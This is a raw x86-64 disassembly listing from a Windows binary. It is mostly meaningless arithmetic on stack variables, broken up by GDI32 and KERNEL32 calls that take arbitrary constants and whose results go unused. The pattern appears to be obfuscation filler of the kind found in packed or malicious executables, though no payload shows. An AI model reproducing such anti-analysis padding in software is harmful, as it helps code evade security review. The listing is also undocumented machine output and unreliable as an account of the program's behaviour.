mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3c98]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3d08], rax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ac]
add eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1fa0], eax
movsx eax, byte [rsp + 0x1ad]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
or eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x47
mov r9d, 0x26
mov r8d, 0xa0
mov edx, 0x50
mov rcx, qword [rsp + 0x3ab0]
call qword [sym.imp.GDI32.dll_ExcludeClipRect]
mov dword [rsp + 0x1f68], eax
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
shl eax, cl
mov word [0x14018bdc8], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
xor eax, ecx
mov word [rsp + 0xc60], ax
movsx eax, byte [0x14018acd9]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
jmp 0x14002398e
mov rax, qword [rsp + 0x3a38]
mov rcx, qword [rsp + 0x3b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3c98]
mov rcx, qword [rsp + 0x3d08]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2b08], rax
mov rax, qword [rsp + 0x3db8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3d98]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xc60]
add ecx, edx
cmp eax, ecx
jge 0x1400238f1
mov rax, qword [rsp + 0x3cf0]
movsx eax, word [rax]
mov rcx, qword [0x14018bdd8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3db8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f10]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1ac]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14018acd9], al
mov rax, qword [rsp + 0x3cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f10]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
and eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov eax, dword [rsp + 0x1fa0]
mov rcx, qword [rsp + 0x3bb8]
mov qword [rsp + 0x3dc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3dc0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x1f8c], eax
jmp 0x14002398e
mov rax, qword [rsp + 0x3bd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov edx, dword [rsp + 0x1f7c]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jne 0x14002391f
jmp 0x14002398e
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f68]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1fd0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14002396f
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
and eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
jmp 0x14002398e
movsx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
lea rax, [rsp + 0x1fd8]
mov qword [rsp + 0x3dc8], rax
mov rax, qword [rsp + 0x2fa8]
mov rcx, qword [rsp + 0x2b08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c58]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bd8]
mov rdx, qword [rsp + 0x3a68]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jae 0x140023aa6
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b78]
mov qword [rsp + 0x3dd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3dd0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
add eax, ecx
mov rcx, qword [0x14018bdd0]
mov byte [rcx], al
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [0x14018acda]
sub eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x3bb8]
mov rcx, qword [rsp + 0x3a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3c98]
mov rcx, qword [rsp + 0x3d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3d08], rax
jmp 0x1400f16ce
mov rax, qword [rsp + 0x3db8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x3d98]
movzx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
jle 0x140023c49
movsx eax, byte [rsp + 0x1ac]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x3dc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1f90]
shr eax, cl
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [0x14018bdd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [rsp + 0x3cf0]
mov word [rcx], ax
mov dword [rsp + 0x58], 0x2b
mov dword [rsp + 0x50], 0x11
mov dword [rsp + 0x48], 0xe4
mov rax, qword [rsp + 0x3dd8]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x7f
mov dword [rsp + 0x30], 0x1e
mov rax, qword [rsp + 0x3da8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x13
mov r9d, 0x28
mov r8d, 0x3f
mov edx, 0xe4
mov rcx, qword [rsp + 0x3a90]
call qword [sym.imp.GDI32.dll_MaskBlt]
mov dword [rsp + 0x1fe0], eax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3d98]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f10], rax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
movsx eax, word [rsp + 0xc64]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3cf0]
mov word [rcx], ax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3d98]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc60], ax
jmp 0x1400f16ce
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3db8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
mov dword [rsp + 0x200c], ecx
movzx edx, word [rsp + 0xc60]
movzx ecx, dl
mov edx, dword [rsp + 0x200c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140023d31
movsx eax, byte [rsp + 0x1ab]
movsx ecx, byte [rsp + 0x1ac]
sar eax, cl
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x3dc8]
mov rcx, qword [rsp + 0x3a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3dc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3c98]
mov rcx, qword [rsp + 0x3d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3d08], rax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x2f10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc68]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
jmp 0x1400f16ce
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
imul eax, ecx
movsx ecx, byte [rsp + 0x1ac]
movsx edx, byte [rsp + 0x99]
add ecx, edx
cmp eax, ecx
jl 0x1400f16ce
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1fd0]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x1fa0]
mov edx, dword [rsp + 0x1fc0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140023faf
mov eax, dword [rsp + 0x1fc0]
mov ecx, dword [rsp + 0x1fd0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1fa0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140023e8a
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3db8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc60], ax
movzx eax, byte [rsp + 0xe7]
movzx ecx, byte [0x14018acda]
sar eax, cl
mov rcx, qword [0x14018bdd0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1f8c]
mov ecx, dword [rsp + 0x1fc0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f10]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ac8], rax
movsx eax, byte [rsp + 0x1ac]
movsx ecx, byte [0x14018acd9]
or eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3bc0]
mov qword [rsp + 0x3de0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3de0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
jmp 0x140023faa
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1fa0]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x140023f74
lea r9, [rsp + 0x3d58]
mov r8d, 0xb3
mov edx, 0xbe
mov rcx, qword [rsp + 0x3a30]
call qword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
mov dword [rsp + 0x1fe4], eax
mov rax, qword [rsp + 0x3dc8]
mov eax, dword [rax]
mov dword [rsp + 0x1ff4], eax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [0x14018bdc4]
sub eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3d98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
movzx eax, byte [0x14018acda]
movzx ecx, byte [rsp + 0xe7]
sar eax, cl
mov rcx, qword [0x14018bdd0]
mov byte [rcx], al
jmp 0x140023faa
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3cd0]
mov rax, qword [rax]
mov qword [rsp + 0x3de8], rax
jmp 0x140024313
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x2ac8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x1400240b3
mov eax, dword [rsp + 0x1ff4]
mov ecx, dword [0x14018bdc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f7c], eax
mov rax, qword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0x2b08]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
sub eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b58]
mov qword [rsp + 0x3df0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3df0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f8c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f68], eax
jmp 0x140024313
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xc6c]
or ecx, edx
cmp eax, ecx
je 0x140024192
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
xor eax, ecx
mov rcx, qword [0x14018bdd0]
mov byte [rcx], al
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3cf0]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
add eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3a30]
call qword [sym.imp.GDI32.dll_GetSystemPaletteUse]
mov dword [rsp + 0x2010], eax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x1ab]
sub eax, ecx
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3d08], rax
jmp 0x140024313
mov rax, qword [rsp + 0x2fa8]
mov rcx, qword [rsp + 0x3d08]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x2b08]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jbe 0x140024313
mov eax, dword [rsp + 0x1c58]
movzx ecx, al
mov eax, dword [rsp + 0x1f90]
shr eax, cl
mov rcx, qword [rsp + 0x3dc8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc6c]
movsx ecx, word [rsp + 0xc64]
add eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
sub eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x2ac8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2ac8], rax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3cf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3dc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ac]
xor eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0x3d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3c98]
mov qword [rsp + 0x3df8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3df8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f8c]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1fc0]
mov edx, dword [rsp + 0x1f68]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x1400f12ae
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f8c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov edx, dword [rsp + 0x1fa0]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
je 0x140024495
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
sub eax, ecx
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x3de8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x34f8], rax
mov eax, dword [0x14018bdc0]
mov rcx, qword [rsp + 0x3a38]
mov qword [rsp + 0x3e00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3e00]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fa8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3d08], rax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ad]
xor eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
add eax, ecx
mov rcx, qword [rsp + 0x3db8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3ab0]
call qword [sym.imp.GDI32.dll_GetFontLanguageInfo]
mov dword [rsp + 0x1ff4], eax
jmp 0x1400f10ea
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x1ac]
shl eax, cl
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x1ab]
sub ecx, edx
cmp eax, ecx
jge 0x1400245ee
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3de8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
sub eax, ecx
mov word [0x14018bdc8], ax
mov rax, qword [rsp + 0x3cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b78]
mov qword [rsp + 0x3e08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3e08]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bb8]
mov ecx, dword [rsp + 0x1fd0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
sub eax, ecx
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x2fa8]
mov rcx, qword [rsp + 0x2b08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3d80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b80]
mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc64]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc5c], ax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3db8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
jmp 0x1400f10ea
mov rax, qword [rsp + 0x3b88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3d08]
shr rax, cl
mov rcx, qword [rsp + 0x3c98]
mov rdx, qword [rsp + 0x2b08]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jbe 0x140024721
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3cd0]
mov qword [rsp + 0x3e10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3e10]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3cf0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14018bdc4], ax
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
sar eax, cl
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x2fa8]
mov rcx, qword [rsp + 0x2b08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3d08], rax
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [rsp + 0x1c58]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
jmp 0x1400f10ea
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
lea rax, [rsp + 0xc5c]
mov qword [rsp + 0x3e18], rax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3d98]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
lea rax, [0x14018bdc0]
mov qword [0x14018bde0], rax
lea rax, [rsp + 0x1fd0]
mov qword [rsp + 0x3e20], rax
movzx eax, byte [rsp + 0xe7]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x14a], al
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [rsp + 0x2ac8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0x3e28], rax
lea rax, [rsp + 0x1fe4]
mov qword [rsp + 0x3e30], rax
mov rax, qword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0x2b08]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc6c]
mov word [rsp + 0xc70], ax
mov rax, qword [rsp + 0x3db8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
sub eax, ecx
mov rcx, qword [rsp + 0x3d98]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x2f10]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x3e38], rax
movsx eax, word [rsp + 0xc6c]
movsx ecx, word [rsp + 0xc68]
or eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
lea rax, [rsp + 0x2ac8]
mov qword [rsp + 0x3e40], rax
mov rax, qword [rsp + 0x3b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fa8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3d08], rax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x3e48], rax
mov rax, qword [rsp + 0x3bd8]
mov eax, dword [rax]
mov dword [rsp + 0x2010], eax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
shl eax, cl
mov rcx, qword [rsp + 0x3e38]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3cd0]
mov qword [rsp + 0x3e50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3e50]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14018ace0], rax
mov eax, dword [rsp + 0x1fa0]
mov ecx, dword [rsp + 0x1fd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1de0], eax
lea rax, [rsp + 0x14a]
mov qword [rsp + 0x3e58], rax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xc68]
sub eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
lea rcx, str.B2g4g_I26L3jRVAD6Tv
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xc74], ax
mov r9d, 0xe49
xor r8d, r8d
lea rdx, [rsp + 0x3cc8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2014], eax
movzx eax, word [rsp + 0xc60]
mov word [rsp + 0xc78], ax
lea rax, [rsp + 0x2b08]
mov qword [rsp + 0x3e60], rax
movsx eax, byte [rsp + 0x1ab]
movsx ecx, byte [rsp + 0x99]
and eax, ecx
mov byte [rsp + 0x1ac], al
mov eax, dword [rsp + 0x1f90]
mov dword [rsp + 0x1ff4], eax
movzx eax, word [rsp + 0xc58]
mov word [rsp + 0xc7c], ax
movzx eax, word [0x14018bdc8]
mov word [0x14018bde8], ax
